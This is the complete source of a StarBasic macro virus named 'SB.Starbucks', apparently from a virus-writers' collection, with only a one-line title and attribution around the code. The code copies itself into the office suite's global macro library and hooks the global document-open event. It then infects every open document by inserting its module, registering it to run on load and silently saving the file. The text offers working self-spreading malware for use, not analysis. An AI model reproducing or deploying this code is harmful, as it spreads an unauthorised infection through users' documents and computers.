SB.Starbucks
by roy g biv

See also the project folder

Sub Starbucks 'roy g biv - 06/06/06
set a=globalscope.basiclibraries.getbyname("Standard")
b="Starbucks"
c=basiclibraries.getbyname("Standard").getbyname(b)
dim d(1) as new com.sun.star.beans.PropertyValue
d(0).name="EventType"
d(0).value="StarBasic"
d(1).name="Script"
e="macro://"
f="/Standard."+b+"."+b+"()"
d(1).value=e+f
if not a.hasbyname(b)then
a.insertbyname b,c
createunoservice("com.sun.star.frame.GlobalEventBroadcaster").events.replacebyname "OnLoad",d()
end if
d(1).value=e+"."+f
e=createunoservice("com.sun.star.frame.Desktop").getcomponents.createenumeration
on error goto skip
while e.hasmoreelements
f=e.nextelement
g=f.basiclibraries.getbyname("Standard")
if not g.hasbyname(b)then
g.insertbyname b,c
f.events.replacebyname "OnLoad",d()
f.store
end if
skip:
wend
End Sub